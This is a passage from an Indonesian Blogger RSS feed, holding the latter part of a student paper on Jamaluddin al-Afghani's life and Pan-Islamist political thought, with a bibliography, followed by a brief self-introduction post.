tafsir, hadist, fiqih, ushul fiqh, ilmu kalam, tasawuf, sejarah, falsafah, mantik, politik, akhlak, ilmu jiwa, ilmu falak dan teori-teori kedoktoran serta ilmu kajian tubuh manusia.&lt;br /&gt;&lt;br /&gt;Setelah itu, Jamaluddin merantau ke negeri &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;India&lt;/st1:place&gt;&lt;/st1:country-region&gt; dan di sanalah beliau belajar ilmu matematika. Pada tahun 1857 Masehi, Jamaluddin telah pergi menunaikan ibadah Haji dan tinggal di Hijaz selama setahun. Setelah itu beliau telah merantau ke Baitulmaqdis. Semasa pengembaraannya ke negeri-negeri Islam pada waktu itu Jamaluddin berasa sangat sedih sekali mengenangkan keadaan yang menimpa umat Islam di negeri-negeri yang dilewatinya. Sekembali ke negerinya, Jamaluddin telah berkhidmat dengan pemerintah. Dalam masa pemerintahan inilah Inggris telah memainkan jarum untuk memecah belahkan rakyat dengan rajanya hingga terjadi fitnah diantara keluarga raja sendiri sehingga akhirnya Mohammad A&#39;azam Khan dapat menguasai &lt;st1:city st=&quot;on&quot;&gt;kota&lt;/st1:City&gt; &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Kabul&lt;/st1:place&gt;&lt;/st1:City&gt; dan Jamaluddin dilantik menjadi orang pertama bertanggungjawab menasihatkan pemerintah Mohammad A&#39;azam Khan . Dengan sebab fitnah-fitnah, usaha-usaha jahat yang dilakukan oleh Inggris itu telah menjadikan Jamaluddin sangat benci terhadap kerajaan Inggris.&lt;br /&gt;&lt;br /&gt;Akhirnya Pemerintah Muhammad A&#39;azam mengalah dan lari ke negeri &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Iran&lt;/st1:place&gt;&lt;/st1:country-region&gt;. Walaupun Jamaluddin tidak ikut sama melarikan diri tetapi akhirnya membuat keputusan untuk keluar meninggalkan tanah airnya.&lt;br /&gt;&lt;br /&gt;Jamaluddin tidak menetap di sebuah negeri saja, beliau berpindah-pindah menyebarkan seruannya ke mana saja beliau pergi. Beliau telah melawat negara-negara Arab, Mesir, &lt;st1:city st=&quot;on&quot;&gt;Turki&lt;/st1:City&gt;, &lt;st1:country-region st=&quot;on&quot;&gt;Iran&lt;/st1:country-region&gt;, &lt;st1:country-region st=&quot;on&quot;&gt;Iraq&lt;/st1:country-region&gt;, negeri Eropa, Rusia, Inggris dan dari &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Paris&lt;/st1:place&gt;&lt;/st1:City&gt; hingga ke Amerika.&lt;br /&gt;&lt;br /&gt;Jamaluddin telah menulis masalah dan krisis di surat-surat kabar di negeri Arab dan Eropa. Beliau fasih dalam berbahasa Arab, Parsi, Turki, Inggris, Perancis dan Rusia hingga menyebabkan beliau mudah berkomunikasi dengan ahli-ahli fikir dan tokoh-tokoh sastra, falsafah dan politik di Timur dan di Barat.&lt;br /&gt;&lt;br /&gt;Pengalaman, pemikiran serta keahliannya menjadikan beliau sebagai seorang tokoh besar dunia di waktu itu. Ketika beliau berada di Mesir, beliau telah bertugas di University AI Azhar. Disebabkan pengaruhnya yang mendalam serta pengalamannya yang sangat meluas, kuliah-kuliahnya telah mendapat sambutan yang hangat dari golongan cerdik pandai.&lt;br /&gt;&lt;br /&gt;Di mana tempat pun beliau memberi kuliahnya, maka orang ramai akan datang membanjiri tempat itu. Semasa di Mesir, Jamaluddin telah memberi semangat dan dorongan kepada siapa saja. Seorang daripadanya ialah Saud Zaghlul Pasha yang ingin membebaskan negerinya dari kuasa penjajahan dan seorang lagi ialah Shaikh Mohammad Abduh yang menjadi muridnya yang setia.&lt;br /&gt;&lt;br /&gt;Pada tahun 1870 Jamaluddin al-Afghani di angkat menjadi Dewa Pendidikan Usmaniah resmi yang reformis.&lt;br /&gt;&lt;br /&gt;B. Konsep Politik Al-Afghani&lt;br /&gt;Selama di Mesir Jamaluddin al-Afghani mengajukan konsep-konsep pembaharuannya, antara lain yang pokoknya :&lt;br /&gt;a. Musuh utama adalah penjajah (Barat),&lt;br /&gt;b. Ummat Islam harus menantang penjajahan dimana dan kapan saja.&lt;br /&gt;c. Untuk mencapai tujuan itu ummat Islam harus bersatu (Pan-Islamisme).&lt;br /&gt;&lt;br /&gt;Pan-Islamisme bukan berarti leburnya kerajaan-kerajaan Islam menjadi satu, tetapi mereka harus mempunyai satu pandangan bersatu dalam kerjasama. Persatuan dan kerjasama merupakan sendi yang amat penting dalam Islam. Persatuan Islam hanya dapat dicapai bila berada dalam kesatuan dan kembali kepada ajaran Islam yang murni yaitu Al-Qur’an dan Sunnah Rasul.&lt;br /&gt;&lt;br /&gt;Untuk mencapai usaha-usaha pembaharuan tersebut di atas :&lt;br /&gt;a. Rakyat harus dibersihkan dari kepercayaan ketakhayulan&lt;br /&gt;b. Orang harus yakin bahwa ia dapat mencapai tingkat atau derajat budi luhur.&lt;br /&gt;c. Rukun iman harus betul-betul menjadi pandangan hidup&lt;br /&gt;d. Setiap generasi umat harus ada lapisan istimewa untuk memberikan pengajaran dan pendidikan pada manusia yang bodoh dan memerangi hawa nafsu jahat dan menegakkan disiplin .&lt;br /&gt;Dari Mesir, Jamaluddin al-Afghani pergi ke Turki dan tokoh-tokoh terkemuka di &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;sana&lt;/st1:place&gt;&lt;/st1:City&gt; sangat terpengaruh oleh pengajaran-pengajarannya. Pada tahun 1871 beliau kembali ke negeri Mesir untuk membangkitkan kegemilangan umat Islam dan ajaran-ajarannya. Beliau juga mengkhidmatkan dirinya dalam kerja-kerja kebajikan dan pendidikan. Beliau telah mendesak pihak yang mengiktirafkan bahasa Urdu sebagai bahasa pengantar dalam pemerintah, bahkan menjadikannya sebagai bahasa rasmi negara.&lt;br /&gt;&lt;br /&gt;Akibat dari keberaniannya itu beliau telah ditangkap lalu di bawa ke Culcutta. Dari &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;sana&lt;/st1:place&gt;&lt;/st1:City&gt; Jamaluddin di bawa ke Inggris.&lt;br /&gt;&lt;br /&gt;Dikota Paris, Jamaluddin telah mengasaskan Badan &quot;Pertubuhan Alurvatul Vusuka&quot; lalu menerbitkan sebuah akhbar mingguan dalam bahasa Arab yang bertujuan untuk mengobarkan gerakan Pan-Islamisme. Faham yang hendak ditanamkan oleh Jamaluddin al-Afghani akan menjadi mangsa penjajahan Barat satu demi satu kecuali mereka mengorak langkah untuk menyatukan tenaga untuk mengalahkan cita-cita mereka yang jahat itu.&lt;br /&gt;&lt;br /&gt;Dari &lt;st1:city st=&quot;on&quot;&gt;kota&lt;/st1:City&gt; Paris Jamaluddin Al Afghani telah ke &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Moscow&lt;/st1:place&gt;&lt;/st1:City&gt; dan kemudian ke bandar St.Petersburg. Dimana beliau telah tinggal lebih dari empat tahun. Di &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;sana&lt;/st1:place&gt;&lt;/st1:City&gt; beliau berjaya membujuk Maharaja Czar Russia bagi membenarkan rakyatnya yang beragama Islam supaya menerbitkan Kitab Al Qur&#39;an dengan bebas serta buku-buku agama yang lain. Al Afghani telah menekankan satu hakikat bahawa keteguhan sebuah negara tidak bergantung kepada tentaranya melainkan semangat rakyatnya.&lt;br /&gt;&lt;br /&gt;Bentuk pengajaran Jamaluddin Al Afghani terdapat dua kesimpulan. Pertama beliau menekankan supaya pengajaran agama Islam itu diperbaiki supaya sesuai dan dapat mengikuti tamadun moden dan kedua bertujuan untuk membebaskan negara Islam dari kekuasaan Barat. Beliau berpendapat bahwa umat Islam telah merosot akhlaknya dan lemah semangat serta dikuasai oleh hawa nafsu yang buas. Beliau menaruh keyakinan penuh bahwa kekuasaan Barat kepada negara Islam adalah amat bahaya dengan keadaan demikian. Jika umat Islam tidak berubah, mereka pasti akan menerima nasib yang lebih buruk lagi. Oleh yang demikian umat Islam hendaknya bangkit untuk kembali pada agama dan diri mereka sebagai umat yang mulia lagi terpuji .&lt;br /&gt;&lt;br /&gt;Peran Al-Afghani dalam gerakan refor¬masi tertuang dalam beberapa sasaran dari diterbitkannya “Al-Urwa al-Wustqa” di Paris bersama Syaikh Muhammad Abduh di antaranya:&lt;br /&gt;a) pertama, se¬nantiasa membantah tuduhan Barat yang ditujukan kepada orang Islam dengan memutarbalikkan propaganda Barat yang menyatakan bahwa kaum muslimin tidak akan bangkit, selama mereka masih berpegang teguh pada agamanya.&lt;br /&gt;b) Kedua, memaparkan bagi orang-orang Timur realita dan rahasia-rahasia internasional, agar mereka tahu rencana politikus Eropa terhadap Islam. Sehigga, orang-orang Timur tidak mudah terpengaruh oleh propaganda yang mereka gembar-gemborkan.&lt;br /&gt;c) Ketiga, memperkuat hubungan antarumat Islam dan memberikan penjelasan tentang asas-asas solidaritas, untuk menepis intervensi politik luar dan juga seruan untuk menggali khazanah ajaran agama serta menjauhi fanatisme kelompok atau golongan. Selain beberapa sasaran yang termak¬tub di atas, dalam gerakan reformasi, Al-Afghani mempunyai agresivitas untuk menjadikan pemerintahan Islam menjadi satu. Akan tetapi semangat ini tidak mendapat dukungan. Maka kembali ia menyerukan untuk saling tolong menolong antara raja-raja di negara Islam, agar mengatur daerah-daerah kekuasaanya sesuai dengan norma agama. Sedangkan idiologi yang beliau tawarkan adalah agama sebagai balance umat yang di dalamnya terdapat kebahagiaan, kemenangan dan mobilisasi kehidupan. Sementara atheisme adalah bakteri keburukan, penyebab destruksi negara dan umat. Selain itu, dalam perjalanannya beliau sering menawarkan konsep musyawarah, demokrasi dan keadilan dalam pemerintahan .&lt;br /&gt;&lt;br /&gt;&lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Malang&lt;/st1:place&gt;&lt;/st1:City&gt; melintang ke berbagai negara ia lakukan demi tercapainya renaisance (kebangkitan) dunia Islam. Proyeknya itu kemudian dikenal dengan &quot;Pan Islamisme&quot;, sebuah gagasan untuk membangkitkan dan menyatukan dunia Arab khususunya, dan dunia Islam umumnya untuk melawan kolonialisme Barat, Inggris, dan Perancis khususnya yang kala itu banyak menduduki dan menjajah dunia Islam dan negara-negara berkembang.&lt;br /&gt;&lt;br /&gt;Secara umum, inti Pan-Islamisme Jamaluddin itu terletak pada ide bahwa Islam adalah satu-satunya ikatan kesatuan kaum Muslim . Jika ikatan itu diperkokoh, jika ia menjadi sumber kehidupan dan pusat loyalitas mereka, maka kekuatan solidaritas yang luar biasa akan memungkinkan pembentukan dan pemeliharaan negara Islam yang kuat dan stabil. Berbagai kalangan, seperti ditulis pakar sejarah Azyumardi Azra dalam Historiografi Islam Kontemporer, menilai ide Jamaluddin itu sebenarnya sebagai entitas politik Islam universal. Mau tak mau, ia pun bersentuhan langsung dengan para penjajah itu.&lt;br /&gt;&lt;br /&gt;Dengan gagasannya ini, Al-Afghani mengubah Islam menjadi ideologi anti-kolonialis yang menyerukan aksi politik menentang Barat . Baginya, Islam adalah faktor yang paling esensial untuk perjuangan kaum Muslim melawan Eropa, dan Barat pada umumnya. Namun demikian, pada saat yang sama Al-Afghani juga mendukung ide semacam nasionalisme, lebih tepatnya &quot;nasionalitas&quot; (jinsiyyah) dan &quot;cinta tanah air&quot; (wathaniyyah). Sepintas, dua gagasan ini boleh jadi kontradiktif dengan gagasannya tentang Pan-Islamisme. Namun, tampaknya Jamaluddin tak ambil pusing. Baginya, bila dua &#39;entitas&#39; itu dapat disatukan menjadi sebuah kekuatan besar yang dapat merubah nasib dunia Islam.&lt;br /&gt;&lt;br /&gt;KESIMPULAN&lt;br /&gt;Dari uraian isi makalah ini, maka pemakalah dapat menyimpulkan bahwa pemikiran yang dimiliki oleh Jamaluddin al-Afghani tentang konsepnya yaitu Pan-Islamisme. Mulanya adalah karena dia telah melihat ketidakadilan dan juga adanya para penjajah yang telah membuat risau masyarakat &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;india&lt;/st1:place&gt;&lt;/st1:country-region&gt; pada waktu itu. Nah? Dalam kesempatan itu Jamaluddin ini mulai terang-terangan mengancam keras tindakan yang di lakukan oleh penjajah Barat. (Inggris red).&lt;br /&gt;&lt;br /&gt;Setelah itu Jamaluddin akhirnya berhasil mengusir penjajah barat karena berkat atas prakarsanya yaitu model pemikirannya yang membuat heboh rakyat &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;India&lt;/st1:place&gt;&lt;/st1:country-region&gt; pada waktu itu. Oleh karena itu Jamaluddin dijuluki sebagai Bapak Pembaharuan.&lt;br /&gt;&lt;br /&gt;PENUTUP&lt;br /&gt;Demikianlah ulasan mengenai tokoh pemikir Islam di Abad Modern. Banyak sekali tokoh-tokoh yang sepadan dengan Jamaluddin al-Afghani, namun caranya yang berbeda-beda dalam penerapannya.&lt;br /&gt;&lt;br /&gt;Jamaluddin al-Afghani merupakan figur besar dalam dunia Muslim. Penekanannya Islam merupakan kekuatan yang sangat penting untuk menangkal Barat dan unutk meningkatkan solidaritas kaum Muslim.&lt;br /&gt;&lt;br /&gt;Akhirnya penulisan makalah sampai disini dulu mudah-mudahan ada manfaatnya amiin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DAFTAR PUSTAKA&lt;br /&gt;&lt;span style=&quot;font-family: Symbol;&quot;&gt;&lt;span style=&quot;&quot;&gt;v&lt;/span&gt;&lt;/span&gt; Rais.Amin, Islam dan Pembaharuan, PT.Raja Grapindo Persada, Jakarta;1995&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Symbol;&quot;&gt;&lt;span style=&quot;&quot;&gt;v&lt;/span&gt;&lt;/span&gt; Siriyeh Elizabeth, Sufi dan Anti Sufi, PT. Pusataka Sufi, Yogyakart; 2003.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Symbol;&quot;&gt;&lt;span style=&quot;&quot;&gt;v&lt;/span&gt;&lt;/span&gt; Asmuni.Yusran, Pengantar Studi dan Gerakan Pembaharuan dalam Dunia Islam, PT.Raja Grafindo Persada,&lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Jakarta&lt;/st1:place&gt;&lt;/st1:City&gt;;1996&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Symbol;&quot;&gt;&lt;span style=&quot;&quot;&gt;v&lt;/span&gt;&lt;/span&gt; Webset,galeria @ KotaSantri.com&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id=&quot;_x0000_t75&quot; coordsize=&quot;21600,21600&quot; spt=&quot;75&quot; preferrelative=&quot;t&quot; path=&quot;m@4@5l@4@11@9@11@9@5xe&quot; filled=&quot;f&quot; stroked=&quot;f&quot;&gt;  &lt;v:stroke joinstyle=&quot;miter&quot;&gt;  &lt;v:formulas&gt;   &lt;v:f eqn=&quot;if lineDrawn pixelLineWidth 0&quot;&gt;   &lt;v:f eqn=&quot;sum @0 1 0&quot;&gt;   &lt;v:f eqn=&quot;sum 0 0 @1&quot;&gt;   &lt;v:f eqn=&quot;prod @2 1 2&quot;&gt;   &lt;v:f eqn=&quot;prod @3 21600 pixelWidth&quot;&gt;   &lt;v:f eqn=&quot;prod @3 21600 pixelHeight&quot;&gt;   &lt;v:f eqn=&quot;sum @0 0 1&quot;&gt;   &lt;v:f eqn=&quot;prod @6 1 2&quot;&gt;   &lt;v:f eqn=&quot;prod @7 21600 pixelWidth&quot;&gt;   &lt;v:f eqn=&quot;sum @8 21600 0&quot;&gt;   &lt;v:f eqn=&quot;prod @7 21600 pixelHeight&quot;&gt;   &lt;v:f eqn=&quot;sum @10 21600 0&quot;&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok=&quot;f&quot; gradientshapeok=&quot;t&quot; connecttype=&quot;rect&quot;&gt;  &lt;o:lock ext=&quot;edit&quot; aspectratio=&quot;t&quot;&gt; &lt;/v:shapetype&gt;&lt;v:shape id=&quot;_x0000_i1025&quot; type=&quot;#_x0000_t75&quot; alt=&quot;&quot; style=&quot;&#39;width:.75pt;&quot;&gt;  &lt;v:imagedata src=&quot;file:///C:\DOCUME~1\ACER\LOCALS~1\Temp\msohtml1\01\clip_image001.gif&quot; href=&quot;http://feeds.feedburner.com/%7Er/OborIllahi/%7E4/228131598&quot;&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;img src=&quot;file:///C:/DOCUME%7E1/ACER/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif&quot; shapes=&quot;_x0000_i1025&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;!--[endif]--&gt;&lt;/p&gt;</description><link>http://slendangwetan29.blogspot.com/2008/02/pemikiran-politik-jamaluddin-al-afghani.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-7912625894524673871</guid><pubDate>Fri, 15 Feb 2008 12:46:00 +0000</pubDate><atom:updated>2008-02-15T04:57:36.246-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">aku</category><title>Salam Kenal</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidg993huP0vLZ-Wgzgbv4aylyp1plQ8kLeoypWbvlZlcBxjk8D5zDR5S_8mBUix3SRSdHWTuUmQmXJj4Pc0WBvKRkbS6GZbO9y3oEFpluqO9yoZOHjL8WHi4HFkoDh4ajtOznIK2qiclQ/s1600-h/topo.jpeg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidg993huP0vLZ-Wgzgbv4aylyp1plQ8kLeoypWbvlZlcBxjk8D5zDR5S_8mBUix3SRSdHWTuUmQmXJj4Pc0WBvKRkbS6GZbO9y3oEFpluqO9yoZOHjL8WHi4HFkoDh4ajtOznIK2qiclQ/s320/topo.jpeg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5167190217845975522&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Kenalkan aku, aku adalah pengada yang ada karena diadakan oleh Ada dan pengada lainnya termasuk kalian. Aku pengada yang terlempar dalam dunia pengada ini dalam keadaan menjadi mahasiswa di PTN Surabaya. Aku ingin aklian ada bagiku dan aku ada bagi kalian. Maka bergabunglah dalam Blognya orang goblok.&lt;br /&gt;                                                      Wassalam.......&lt;br /&gt;                                                                                                     SlendangWetan</description><link>http://slendangwetan29.blogspot.com/2008/02/salam-kenal.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidg993huP0vLZ-Wgzgbv4aylyp1plQ8kLeoypWbvlZlcBxjk8D5zDR5S_8mBUix3SRSdHWTuUmQmXJj4Pc0WBvKRkbS6GZbO9y3oEFpluqO9yoZOHjL8WHi4HFkoDh4ajtOznIK2qiclQ/s72-c/topo.jpeg" height="72" width="72"/><thr:total>1</thr:total></item></channel></rss>